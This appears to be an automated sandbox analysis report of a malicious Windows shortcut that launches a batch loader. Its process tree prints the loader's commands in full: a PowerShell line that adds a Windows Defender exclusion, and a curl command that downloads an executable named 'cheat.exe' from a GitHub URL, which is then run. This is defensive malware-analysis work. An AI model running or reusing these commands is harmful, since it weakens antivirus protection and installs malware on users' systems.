6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 23:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AssetExternalV8/AssetExternal.lnk
Size 1KB
Sample260808-31te3azzgx
SHA256 6dd4256f5e5818225f2ed4f2d378b9b70be3ccc52c70ea4d24ff1c338e4f9f5a
MD5 0f6a404c26510641ceff4ce159bb4a2b
SHA1 a926776e1d5744c13be1792e2ec2af92f88ff692
SHA512 e829110d2725d45ac686c0c50e77bd6dc9ded950c501dfb6268c6aeac05cdce112d711195fac3a6473b08a78701f25a42dd1b642ef5ac32b58d80840bdb626f9
TLSH
T18B31CD5266C16F19E7BF0FB296F6A181C27C78217C0AD50C55949B8828B6A24E836736
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4264	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
9	852	curl.exe

Executes dropped EXE 1 IoCs

pid	Process
2804	cheat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3340	cmd.exe
3044	cmd.exe

Delays execution with timeout.exe 7 IoCs

defense_evasion

pid	Process
1400	timeout.exe
4792	timeout.exe
4248	timeout.exe
3068	timeout.exe
6040	timeout.exe
1976	timeout.exe
5396	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4264	powershell.exe
4264	powershell.exe
2804	cheat.exe
2804	cheat.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeIncreaseQuotaPrivilege	4264	powershell.exe
Token: SeSecurityPrivilege	4264	powershell.exe
Token: SeTakeOwnershipPrivilege	4264	powershell.exe
Token: SeLoadDriverPrivilege	4264	powershell.exe
Token: SeSystemProfilePrivilege	4264	powershell.exe
Token: SeSystemtimePrivilege	4264	powershell.exe
Token: SeProfSingleProcessPrivilege	4264	powershell.exe
Token: SeIncBasePriorityPrivilege	4264	powershell.exe
Token: SeCreatePagefilePrivilege	4264	powershell.exe
Token: SeBackupPrivilege	4264	powershell.exe
Token: SeRestorePrivilege	4264	powershell.exe
Token: SeShutdownPrivilege	4264	powershell.exe
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeSystemEnvironmentPrivilege	4264	powershell.exe
Token: SeRemoteShutdownPrivilege	4264	powershell.exe
Token: SeUndockPrivilege	4264	powershell.exe
Token: SeManageVolumePrivilege	4264	powershell.exe
Token: 33	4264	powershell.exe
Token: 34	4264	powershell.exe
Token: 35	4264	powershell.exe
Token: 36	4264	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 3044	3340	cmd.exe	90
PID 3044 wrote to memory of 4488	3044	cmd.exe	91
PID 4488 wrote to memory of 2540	4488	net.exe	92
PID 3044 wrote to memory of 1400	3044	cmd.exe	93
PID 3044 wrote to memory of 4792	3044	cmd.exe	94
PID 3044 wrote to memory of 4248	3044	cmd.exe	95
PID 3044 wrote to memory of 4264	3044	cmd.exe	96
PID 3044 wrote to memory of 852	3044	cmd.exe	98
PID 3044 wrote to memory of 3068	3044	cmd.exe	100
PID 3044 wrote to memory of 6040	3044	cmd.exe	101
PID 3044 wrote to memory of 2804	3044	cmd.exe	102
PID 3044 wrote to memory of 1976	3044	cmd.exe	103
PID 3044 wrote to memory of 5396	3044	cmd.exe	106

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\AssetExternal.lnk
1⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\dependencies\Libraries.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4488
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2540
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1400
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4792
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4264
- - C:\Windows\system32\curl.exe
    curl -L -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" -o "C:\Users\Admin\AppData\Local\Temp\cheat.exe" "https://github.com/vortixgg/Cypherix/releases/download/fqweqfq/cheat.exe"
    3⤵
    - Downloads MZ/PE file
    PID:852
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3068
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:6040
- - C:\Users\Admin\AppData\Local\Temp\cheat.exe
    "C:\Users\Admin\AppData\Local\Temp\cheat.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2804
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1976
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5396

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

AssetExternal.lnk

Path C:\Users\Admin\AppData\Local\Temp\AssetExternalV8\AssetExternal.lnk
Size 1KB
SHA256 3453abe59fb91f1531329102913ecac8abb86cbacd11e8f7d6b938474c8c2e8d
MD5 ebee732fb194f1ed76e3d7c344d7f3ea
SHA1 acf0a416a197e374a102e3267dfdedddab030195
SHA512 81f32bff9a886b5cff7da82704040d312a9cd9652997fcea4df6af7c523151ee351e2707f27bae5e3d822f6e313c5099c01728452f6a0634cda1d3ec0a93eba2
TLSH
T1B441F2129DC16F0AD2BF5E7266F7618647BCF8346E06E90C1150938D1C62A51DD3973E
MD5 SHA1 SHA512 TLSH

Submit Download

cheat.exe

Path C:\Users\Admin\AppData\Local\Temp\cheat.exe
Size 676KB
SHA256 62aeb4d89cbe53cb8ec9eff1a5230cd9deedeb3605ee9825e936eb08c0543888
MD5 1f86b763eec23eb36f5a530763b7a65d
SHA1 79ae711c84382764dbdd1af03c12b5d61d9e1cfb
SHA512 502b0364dc0136ccac70be2408cd98628cfa500a444fb97d72858c31b692d3223e1a11c6bd26f80bd09ebf6ad66ecf03429ff08a485182d7d7070c4115eb714e
SSDEEP 6144:51oqMZHuAx9Jb4Fo2W3NkWQWrpoTSS2I5trhzkfgbSYB0U5gdIbmJFhsmNkrr3ZF:EbWTSSfKfcSYrgdIoyNrr3ZLC5Kcm
TLSH
T15BE4AE15A6E112F9E177C13ECAA64A56FAF2BC09076097C703E456E42F17BE44B3E312
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4264-7-0x0000025FA9700000-0x0000025FA9722000-memory.dmp

Download

memory/4264-10-0x0000025FA97E0000-0x0000025FA97FE000-memory.dmp

Download

memory/4264-11-0x0000025FA9A60000-0x0000025FA9B12000-memory.dmp

Download

memory/4264-12-0x0000025FA9780000-0x0000025FA978A000-memory.dmp

Download